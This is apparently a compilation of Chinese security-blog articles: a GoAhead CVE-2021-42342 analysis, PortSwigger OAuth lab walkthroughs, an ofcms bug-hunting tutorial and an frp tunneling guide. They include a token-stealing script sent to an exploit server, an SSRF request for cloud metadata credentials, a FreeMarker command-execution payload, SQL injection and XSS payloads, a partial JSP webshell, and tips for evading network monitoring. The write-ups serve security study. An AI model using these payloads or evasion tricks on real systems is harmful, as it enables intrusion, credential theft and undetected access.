cve-2021-42342远程命令执行漏洞影响Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的补丁时我们了解到新版的程序对黑名单的完整性上做了优化,然而在4.X版本中增加了一句strim函数对用户参数的处理,如下图所示:
进入这个函数,当第二个参数为0时return 0。因为开发人员对于strim函数使用规范的错误使得针对cve-2017-17562的黑名单完善形同虚设。
上文在对cve-2017-17562补丁进行分析时曾经提到,s-arg在addFormVars函数中赋值为1,为了实现环境变量注入则必须使s-arg为0,绕过的方式也很简单令header中content-type为multipart/form-data即可。
后续利用方式与cve-2017-17562相同,笔者就不做重复分析了。
3.2 代码分析
为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead处理Http的机制进行深入分析,其中不对的地方欢迎师傅们指正。 在Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下https://www.cnblogs.com/zongzi10010/p/12109380.html师傅的文章。
websOpen函数会根据配置启动相应的代码模块
其中关于cgi请求的回调函数通过websDefineHandler函数定义。
websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。
在websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。
其中websAlloc函数调用initWebs函数对Webs结构体进行初始化。
此时Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的
调用websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。
3.2.1 WEBS_BEGIN
WEBS_BEGIN阶段由parseIncoming函数负责处理,代码如下图所示。其中我们需要重点关注调用的三个函数parseFirstLine、parseHeaders、websRouteRequest函数。 parseFirstLine函数负责将请求的类型、url、协议版本和请求参数保存在wp结构体中
parseHeaders函数负责对请求头进行解析,其中对请求头中content-type键处理流程如下图所示。为了满足漏洞的触发条件s->arg为0,所以我们需要绕过addFormVars函数,即请求头content-type为multipart/form-data。
函数用于确定HTTP请求的处理函数。通过url路径与route->prefix进行比较确定最终处理函数,并将结果保存在wp->route中。其中routes数组保存了route.txt文件解析后,所有处理函数的相关数据。
调用websGetCgiCommName函数创建文件名格式为cgi-*.tmp的临时文件用于保存POST数据。
3.2.2 WEBS_CONTENT
返回websPump函数,随后调用processContent函数。函数部分代码如下所示,其中filterChunkData函数检测数据是否全部处理完毕,websProcessUploadData函数为处理上传文件的函数。
进入函数后可以看到上传操作被分为五个状态,每种状态由专门的函数负责处理,如下图所示。 initUpload函数切换wp->uploadState状态为initUpload,初始化上传路径并确定上传请求边界符。 processContentBoundary函数判断数据是否已经处理完毕,若是则将状态切换为UPLOAD_CONTENT_END,若还有数据未处理完成则切换状态为UPLOAD_CONTENT_HEADER。 processUploadHeader函数通过调用websTempFile函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp,将临时文件的文件描述符保存在wp
当全部数据处理完毕后wp->eof置1,wp->state状态更改为WEBS_READY。 返回processContent函数后继续执行,调用websProcessCgiData函数将POST数据保存在临时文件cgi-*.tmp中
3.2.3 WEBS_READY
程序流程返回websPump函数后,在WEBS_READY阶段调用websRunRequest函数,此函数主要负责切换wp->state为WEBS_RUNNING,并调用cgiHandler函数。
在代码执行到漏洞位置时,s->arg值为零完成绕过。后续的利用原理与cve-2017-17562类似,这里就不过多赘述。
OAuth2.0协议安全学习
有一个问题困扰了很久很久,翻来覆去无法入眠,那就是OAuth2.0有什么安全问题啊?
OAuth2.0是一种常用的授权框架,它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户进行有限访问,在全世界都有广泛运用。
OAuth2.0简介
OAuth2.0是什么
OAuth2.0是授权的工业标准协议,该协议允许第三方应用程序对于服务的有限访问,例如常见的第三方登录就基于此协议
OAuth2.0应用情景
OAuth2.0常被应用于以下情景
1、应用于第三方应用登录,将受保护的用户资源授权给第三方信任用户,从而避免二次登录造成泄密
2、应用于多服务场景中,用于服务的统一登陆认证,对内部系统之间的资源请求进行权限管理
3、应用于开发平台场景中,对系统敏感资源进行安全认证和保护
密码与OAuth2.0
1、密码与令牌(token)的作用是一样的,但令牌有其特点
用户无法自己修改
且一般来说token是短期的
可以被所有者撤销
token的权限一般是有限制的,而对于密码而言,其权限一般是完整权限
2、基于以上设计,OAuth2.0协议即可保证可以使得第三方应用获得权限使用,但又随时处于可控,这就是OAuth2.0的优点所在
OAuth2.0运行流程和授权模式
首先了解一下大概结构
Client: 第三方应用
Resource Owner: 资源所有者
Authorization Server: 授权服务器
Resource Server: 拥有资源信息的服务器
以下即为运行过程
OAuth的授权模式有五种
授权码模式|authorization code
简化模式|implicit
密码模式|resource owner password credentials
客户端模式|client credentials
在请求中一般存在response_type一类的参数,根据授权模式的不同,参数内容也会不同,这就是我们判断不同授权模式的重要依据
详情可见
https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html四种授权模式,安全问题大多在authorization code模式和implicit模式发生,我们也可以对此着重了解
OAuth2.0安全问题分析
为什么出现问题
OAuth2.0的授权认证流程大部分情况下是没有问题的,但他缺少内置的安全功能,认证是否安全几乎完全取决于使用者的正确配置,例如是否对token进行数据绑定、是否对数据本身进行加密等,而且不同的授权方法有不同的1特点,而根据授权类型,即使是高度敏感的数据都会被通过浏览器发送,给了攻击者各种拦截数据的机会
怎么判断是否使用OAuth2.0认证方法
主要可以通过两点判断
1、对数据进行抓包,基本所有的认证请求都是自/authorization开始,并且携带了类似于Client_id、redirect_uri等标志参数
2、是否可以使用第三方应用进行登录,如若可以,基都是采取OAuth2.0认证
授权服务器认证绕过
当我们完成登录获取第三方资源时,是通过一个用户邮箱、ID进行识别,但如果第三方资源授权没有对此进行合理的认证,就有可能绕过授权服务器认证
1、靶场
Lab: Authentication bypass via OAuth implicit flow
2、解法
进行抓包,查看数据包的交互流程,在/authorization看到有邮箱、ID返回认证
可以尝试修改email和username
Forward发送,发现token并没有进行内容绑定,成功login
CSRF关联账号
造成这个安全问题的主要原因是对OAuth组件的配置错误,比如state参数
这个参数可以类比于CSRF令牌token,一般是作为与会话信息相关联的一个hash值,作为客户端与服务端之间通信的token令牌,而当配置出现问题,攻击者就可以将受害者第三方登录信息绑定到自己的账号实现CSRF
1、靶场
Lab: Forced OAuth profile linking
2、解法
我们先正常登录
点击绑定social profile,对social media认证页面进行抓包,得到令牌code
我们可以先直接带上访问一下试试
这是因为我们还没有实现绑定登录,我们现在要做的就是让管理员登录时带上的是我们的code,这样我们就可以成功劫持管理员账号
我们重新抓取一个包拿到code,得到code后drop掉不让他成功登录认证
然后进入exploit修改body
<iframe src="https://you-Labe-URL/oauth-linking?code=xxxx"></iframe>
发送给受害者,而后重新登录social media
成功登录admin
删掉carlos用户即可
CSRF获取敏感信息
我们正常登录认证后需要从认证页面重定向回到原本的页面,这里起到作用的就是redirect_uri参数,这是一个很合理的设计,但如果redirect_uri重定向回来的是其他地方,比如我们的攻击服务器,那么我们是不是可以窃取到一些敏感信息,例如我们上一道题登录admin用到的code
与上一题不同的点在于,前者是攻击者生成了token让admin绑定,这里是让admin生成token攻击者拿到去进行绑定
1、靶场
Lab: OAuth account hijacking via redirect_uri
2、解法
我们抓包可以看到很多个参数,返回的response有个重定向回到原本的登陆页面
我们可以先简单测试一下,把redirect_uri参数换成我们的攻击服务器
访问抓包
callback
可以看到host变成了我们的攻击服务器,这就是问题所在
我们进入exploit修改body
<iframe src="https://oauth-0ab7002704013c25c0e609d702b200d8.web-security-academy.net/auth?client_id=vna7ueijoqkr7uoxz68yl&redirect_uri=https://exploit-0ad700bf04bc3c4bc0f9097701db00da.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe>
修改redirect_uri重定向回我们的exploit,store存储一下,然后view exploit预览一下
确认可以后发送给受害者,然后查看log,可以看到就能窃取到code
然后根据包的发送流程,将code进行修改callback回去
https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6
成功登录admin,删除用户就行
通过开放重定向获取敏感信息
与上一道类似,但是这里加入了对重定向redirect_uri参数的检测,限制url为client app,这时候可以通过在client app中寻找open redirect漏洞,再搭配CSRF得到code实现越权
1、靶场
Lab: Stealing OAuth access tokens via an open redirect
2、解法
抓包然后查找apikey,发现在/me路径,放入repeater
测试redirect_uri,发现是以白名单进行验证,无法以外域作为重定向提供,同时发现存在目录遍历漏洞
进行寻找漏洞利用点,发现每个blog下方均有一个post点,易受目录遍历,选择进行测试
抓包放入repeater中测试,发现可以重定向到外域,这样我们就可以利用1这个重定向到我们的攻击服务器,进行敏感数据的窃取
我们修改url重定向回exploit
https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profi
进行访问,成功返回hello,world
这样我们就可以编写script,让admin登录从而泄露token
<script>
if (!document.location.hash) {
window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=3997
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
发送给受害者后进入access log,得到access_token
将access_token替换到/me路径的Authorization: Bearer标头中的token
发送即可得到apikey,提交即可
危险传递、使用某些特定数据
当OAuth存在专用注册端点来运行客户端自行注册,而OAuth服务又以一种不安全的方式来传递、使用某些特定于客户端的数据,就可能存在SSRF漏洞,出现密钥的泄露
1、靶场
Lab: SSRF via OpenID dynamic client registration
2、解法
首先我们需要了解的是在OAuth服务开发中,存在这样一类文件
/.well-known/openid-configuration(类似的url还有/.well-known/oauth-authorization-server和/.well-known/jwks.json)
他们存储着一些相关的配置
我们尝试访问
https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration
可以发现/reg是注册点,我们可以在repeater中创建一个post请求向OAuth请求注册,而这其中必须提供至少一个redirect_uris数组
传参后我们可以看到服务器给我们返回了client_id和一系列数据
我们继续翻看配置参数,其中最有可能存在SSRF的url参数就是logo_uri
我们可以进行尝试,启动Burp Collaborator client
POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json
{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"
}
发现可以成功携带数据
当我们拿着生成的client_id去访问的时候我们也可以发现确实会携带出一些特殊数据
/client/CLIENT-ID/logo
那当我们修改logo_uri为其他url时,我们就可以携带出我们想要的东西了,而题目已经给出了攻击服务器的url,我们替换一下
POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json
{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
得到key
防御总结
使用白名单检验redirect_url参数
检验state参数是否存在
ccess token和client_id是否匹配,同时验证access token的访问范围
修复client端的开放重定向漏洞,防止auth code的泄露
细说从0开始挖掘CMS
前言
挖了一些phpcms的漏洞了,突然想尝试去挖一下javacms的漏洞,于是写下这篇文章来记录一下自己挖洞的一个流程,希望能帮助到一些正在学习挖洞的师傅们。
确立目标
挖洞的第一步首先是确立一个目标,也就是找个cms来挖,这里可以通过github,gitee或者谷歌百度直接去搜cms。
如果挖洞经验比较少的话建议找一下star少的cms去挖,找到相应的项目,然后点进去,下载源码,然后看项目的介绍,大致了解一下项目的信息和安装的过程。
信息收集
如果确定了目标,接下来我们可以去了解一下他的项目信息,相应的漏洞等。
项目信息除了上面的README以为还可以看看issues模块,这里可能会有一些系统问题或者安装问题,后续我们可能会遇到
漏洞信息的话可以通过cnvd或者其他漏洞平台(直接百度也可以)去查看该系统的漏洞情况。
或者cnvd查看相应的信息,通过查看相应的信息可以提高我们挖洞的效率,我们从中可以知道该项目已经存在漏洞,我们到时候挖就可以看看相应的地方会不会还存在漏洞或者避免挖到别人挖过的漏洞。
环境搭建
上面的信息收集完之后我们就要开始搭建环境了,搭建环境是很关键的一步,由于某些cms安装过程繁琐或者没写好说明,会导致安装出现很多问题甚至装不上,这里我们要注意项目的文档,如果实在安装有问题可以通过相关渠道去联系一下作者或者相应的qq群寻求一下帮助。
本次挖掘的漏洞是ofcms,首先先下载一下源码,然后解压丢一边,回到网页来看一下项目文档。
环境要求
一般项目都会有写环境要求的,我们调整一下就好。
环境准备
环境解压完我们用idea打开,如果发现一些重要目录文件不见了,重开一下就有了。
数据库
首先找到db.properties,如果不能一眼看到可以通过ctrl+shift+f来快速搜索
/ofcms-admin/src/main/resources/dev/conf/db.properties
找到了文件,访问相对应的路径即可,这里我们修改一下数据库用户名和密码,然后点击右边的数据库来测试连接。
然后按数据库信息来修改,然后点击右边的数据库,配置一下。
如果出现以下的错误
Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property manually.
这是时区问题,如果配置了环境变量报错,可以通过以下步骤来解决。
win+R
cmd
mysql -hlocalhost -uroot -p
(然后输入数据库密码)
show variables like'%time_zone';
set global time_zone = '+8:00';
没配置环境变量的,看这个文章
https://blog.csdn.net/liuqiker/article/details/102455077配置成功效果图如下
maven
右键项目找到mavne重新加载项目即可
tomcat
在run-configuration中配置tomcat
在Deployment配置一下
一切配置好后点击run启动就可以了,如果遇到端口报错改一下端口,其他的报错就百度一下。
安装过程
这一步就比较简单了,跟着弄就好了。
下一步,然后配置好数据库,这里记得先在数据库中新建个ofcms的库,否则会报Unknown database 'ofcms'的错。
在这里,正常安装步骤是建立好数据库,输入账号密码就等待安装就好。
如果出现以下报错,我们可以通过手工导入数据库,这一种情况在安装别的cms也很常见,在安装遇到数据库问题我们可以直接导入数据库。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DROP TABLE IF EXISTS `of_cms_access`; CREATE TABLE `of_cms_access` ( `access_i' at line 21
数据库位置ofcms-master\doc\sql,选择相应的版本直接拖进navicat中,然后导入成功后刷新一下就好。
接着将数据库配置文件db-config.properties文件名修改为db.properties,重启一下服务。
漏洞复现
环境搭建完,我们就可以开始挖洞了,然后在这里我建议是能找到该漏洞已存在的文章,我们就先去复现一下,看看别的师傅们的挖过的漏洞,一方面是防止重复,一方面是可以学习一下别人的挖洞思路。
ofcms其实存在挺多漏洞的,这里我们就来简单复现一下,大致看看师傅们的挖洞思路。
任意文件写入
漏洞模板文件这个位置,漏洞的详细分析可以看看https://blog.csdn.net/xd_2021/article/details/123611835
漏洞复现
我们选择任意一个html,然后点击保存抓包,我们可以看到包的信息。
这里就是写入文件,我们在admin目录下写入eek1.xml文件。
通过上面任意文件读取漏洞去读取一下
模板注入漏洞
漏洞在模板注入,这个漏洞主要是pom.xml引入了freemarker-2.3.21依赖,但是留下一些不安全因素导致的,具体漏洞分析可以看这篇http://www.wjhsh.net/bmjoker-p-13653563.html。
漏洞复现
漏洞复现过程比较简单,我们直接在html文件中插入payload就可以了
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }
插入后直要访问前台就会出发payload
模板注入的知识点可以看看这篇https://blog.csdn.net/weixin_44522540/article/details/122844068
通过这一个洞,我们可以挖洞的时候可以去注意一下pom.xml引入的模板。
SQL注入漏洞
漏洞分析参考https://blog.csdn.net/xd_2021/article/details/123611835,由于这里的预编译处理不起作用,所以可以执行SQL语句。
漏洞复现
漏洞点在系统设置---代码生成---添加----添加表,在这里抓一下包
直接把payload输进来
update of_cms_ad set ad_id=updatexml(1,concat(1,user()),1)
任意文件上传
漏洞分析在上一篇文章里有说,这里主要就是利用windows或中间件文件上传特性来避免结尾为jsp或jspx
漏洞复现
找到一个上传点然后抓包,我这里是在内容管理----栏目管理----新增----新增用户----上传附件这里抓包的。
eek.jsp
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);sessio
可以看到文件上传进去,而且内容没被修改。
漏洞挖掘
通过上面的内容,我们学习了别的师傅的挖洞思路,接下来就是我自己的挖洞过程了,下面是我挖的几个洞。
首先除了已经存在的漏洞外,我们要大致知道什么漏洞会存在什么地方,例如登录注册界面会出现sql漏洞,逻辑漏洞等,留言框可能会出现xss漏洞,上传头像界面可能会出现任意文件上传漏洞等,信息泄露漏洞也可以通过御剑或者其他工具去扫一下。
XSS漏洞
漏洞复现
对于前台有个客户案例,选择其中一个案例,然后有个留言框,这里直接打入xss的payload就可以了。
<video src=x onerror=alert("eek") />
漏洞分析
文件位置ofcms-master\ofcms-api\src\main\java\com\ofsoft\cms\api\v1
package com.ofsoft.cms.api.v1;
import com.jfinal.plugin.activerecord.Db;
import com.ofsoft.cms.api.ApiBase;
import com.ofsoft.cms.core.annotation.Action;
import com.ofsoft.cms.core.api.ApiMapping;
import com.ofsoft.cms.core.api.RequestMethod;
import com.ofsoft.cms.core.api.check.ParamsCheck;
import com.ofsoft.cms.core.api.check.ParamsCheckType;
import com.ofsoft.cms.core.utils.IpKit;
import java.util.Map;
/**
* 评论接口
*
* @author OF
* @date 2019年2月24日
*/
@Action(path = "/comment")
public class CommentApi extends ApiBase {
/**
* 获取内容信息
*/
@ApiMapping(method = RequestMethod.GET)
@ParamsCheck(
{@ParamsCheckType(name = "comment_content"), @ParamsCheckType(name = "content_id"),
@ParamsCheckType(name = "site_id")})
public void save() {
try {
Map params = getParamsMap();
params.put("comment_ip", IpKit.getRealIp(getRequest()));
Db.update(Db.getSqlPara("cms.comment.save", params));
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson();
}
}
}
请求/api/v1/comment/save.json?comment_content=123&content_id=61&site_id=1&check_status=1&_=1644130926694
这里直接接受请求,未对content的内容进行检测,直接将请求的值存入数据库中,导致存在跨站脚本漏洞。
逻辑缺陷漏洞1
本地环境
现有两个用户信息,系统管理员admin和普通管理员eek,如下是系统管理员的界面。
admin/admin
eek/123
超级管理员后台界面。
普通管理员后台界面
漏洞复现
我们先以普通管理员登录
点击右上角,修改密码
在此处burp抓包
修改id为1,密码任意
修改前admin的密码是admin
修改后为admin,密码是eek
漏洞分析
漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的respwd方法
...
public void respwd() {
Map<String, Object> params = getParamsMap();
String password = (String) params.get("password");
String newpassword = (String) params.get("newpassword");
if (!password.equals(newpassword)) {
rendFailedJson("两次密码不一致!");
return;
}
Record record = new Record();
if (!StringUtils.isBlank(password)) {
password = new Sha256Hash(password).toHex();
record.set("user_password", password);
}
record.set("user_id", params.get("user_id"));
try {
Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"));
}
}...
在此方法中,后台对前端界面的id和两次密码值进行获取,然后传入后端,后端直接将id和密码传入数据库中,让数据库直接更新信息。
这里由于id可控导致用户可以直接修改任意id的密码,导致该地方存在任意用户密码重置。
逻辑缺陷漏洞2
本地环境
数据库信息如下图所示
现在有超级管理员,admin/123
普通管理员,eek/123
漏洞复现
首先以普通管理员身份登录,然后点击右上角,基本资料
在此处burp抓包
修改信息,user_id改为1,密码修改为admin
以系统管理员身份登录
成功登录
漏洞分析
漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的update方法
...
public void update() {
Map<String, Object> params = getParamsMap();
String password = (String) params.get("password");
if (!StringUtils.isBlank(password)) {
password = new Sha256Hash(password).toHex();
params.put("user_password", password);
}
params.remove("password");
String roleId = (String) params.get("role_id");
if (!StringUtils.isBlank(roleId)) {
SqlPara sql = Db.getSqlPara("system.user.role_update", params);
Db.update(sql);
}
params.remove("role_id");
Record record = new Record();
record.setColumns(params);
try {
Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"));
}
}
...
在此方法中,后台管理直接将新增的数据放到数据库中,直接对数据库内容进行更新,未对不合法内容进行检测,导致该地方存在任意用户信息重置。
任意文件读取
漏洞复现
找到模板文件
所对应的路径是\ofcms-master\ofcms-admin\src\main\webapp\WEB-INF\page\default,这里可以通过目录穿越来读取任意文件。
在他的上两级有个web.xml文件,我们尝试读取一些。
这里不能直接编辑,burp抓个包。
web.xml文件如下所示
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://td/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<listener>
<listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
</listener>
<filter>
<filter-name>shiro</filter-name>
<filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>
.........
读取成功
漏洞分析
漏洞文件位置:ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java漏洞位于该模块的getTemplates方法中
package com.ofsoft.cms.admin.controller.cms;
...
public void getTemplates() {
//当前目录
String dirName = getPara("dir","");
//上级目录
String upDirName = getPara("up_dir","/");
//类型区分
String resPath = getPara("res_path");
//文件目录
String dir = null;
if(!"/".equals(upDirName)){
dir = upDirName+dirName;
}else{
dir = dirName;
}
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
}
File[] dirs = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return file.isDirectory();
}
});
if(StringUtils.isBlank (dirName)){
upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));
}
setAttr("up_dir_name",upDirName);
setAttr("up_dir","".equals(dir)?"/":dir);
setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName);
setAttr("dirs", dirs);
/*if (dirName != null) {
pathFile = new File(pathFile, dirName);
}*/
File[] files = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
|| file.getName().endsWith(".css") || file.getName().endsWith(".js"));
}
});
setAttr("files", files);
String fileName = getPara("file_name", "index.html");
File editFile = null;
if (fileName != null && files != null && files.length > 0) {
for (File f : files) {
if (fileName.equals(f.getName())) {
editFile = f;
break;
}
}
if (editFile == null) {
editFile = files[0];
fileName = editFile.getName();
}
}
setAttr("file_name", fileName);
if (editFile != null) {
String fileContent = FileUtils.readString(editFile);
if (fileContent != null) {
fileContent = fileContent.replace("<", "<").replace(">", ">");
setAttr("file_content", fileContent);
setAttr("file_path", editFile);
}
}
if("res".equals(resPath)) {
render("/admin/cms/template/resource.html");
}else{
render("/admin/cms/template/index.html");
}
}
......
这里没有对dir和dir_name的值进行不合法输入检测,导致这里可以进行目录穿越,然后后面的就只有对文件是否存在进行判断,若存在则读取。所以此处存在任意文件读取漏洞。
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
某安全设备frp流量告警分析
前言
第一次使用某商设备,不同厂商的规则库不一样,总的来说流量监控很大一部分是基于规则库来实现的,所以在进行内网穿透的时候就要考虑如何bypass设备告警。
环境搭建
ubuntu 公网vps
win10内网主机
wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_amd64.tar.gz
服务端配置
bind_port = 9666 //frp服务端端口
token = 123 //客户端连接时的token认证
dashboard_port=9999 //面板服务端口
dashboard_user=Ggoodstudy //用户名
dashboard_pwd=xxxx //密码
enable_prometheus=true
log_file=/var/log/frps.log //日志存放位置
log_level=info
log_max_days=3
vhost_http_port=9998 //http服务端口
启动
./frps -c frps.ini
如果后台运行
nohup ./frps -c frps.ini &
访问面板
http://xx.xxx.xx.xx:9666输入账号密码登录
此时服务端的配置已成功,客户端配置
[common]
server_addr = xx.xxx.x.x
server_port = 9666
token = 123
[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 7004
这里设置代理本机的3389和8077端口
mstsc连接到主机
抓取数据包
host xx.xx.xx.xx
主机ip192.168.43.246
这里我们可以看到请求的流量包,在请求服务端的9666端口
详情内容就是
可以看到详细数据包中src_addr为受害主机出口地址,目的端口dst_port为vps的穿透端口7004端口,目的ip为vps的私网地址。
此时的连接状态显示的,同时,查看远程时的连接远程桌面时会产生这样流量特征run_id
另外有特别的发现,虚拟机winserver 2012 R2在运行客户端之后,vps在连接的过程中也能获取到宿主机的用户名
这是一个比较特别的点儿,剩余的流量就是vps和跳板机的流量交互,没有很明显的特征。
回头看某商设备对于frp内网穿透的告警
我们可以对比之前的流量包,缺少的字段且仅有udp端口
这里可能某商的规则id是基于udp_port或者说是version字段而产生的告警行为。
魔改
从几个方面规避流量监测
1.交互量加密
对frp的认证使用tls加密,修改服务端frps.ini
tlsonly = true
客户端配置frpc.ini
tlsenable = true
2.重写服务端
在上面的流量包中可以看到,在进行交互的时候
服务端会请求客户端配置文件内容proxy_name,那么在定义变量的服务端,可以重写方法
case *msg.NewVisitorConn:
if err = svr.RegisterVisitorConn(conn, m); err != nil {
xl.Warn("register visitor conn error: %v", err)
msg.WriteMsg(conn, &msg.NewVisitorConnResp{
ProxyName: m.ProxyName,
Error: util.GenerateResponseErrorString("register visitor conn error", err, svr.cfg.DetailedErrorsToClient),
})
conn.Close()
} else {
msg.WriteMsg(conn, &msg.NewVisitorConnResp{
ProxyName: m.ProxyName,
Error: "",
})
}
在客户端和服务器连接的时候流量特征变成自定义变量即可。
总结
frp的特征比较明显,所以就单纯魔改frp的话除了流量上做加密外,简单的修改特征bypass设备也是可以实现的。
本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本人无关。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

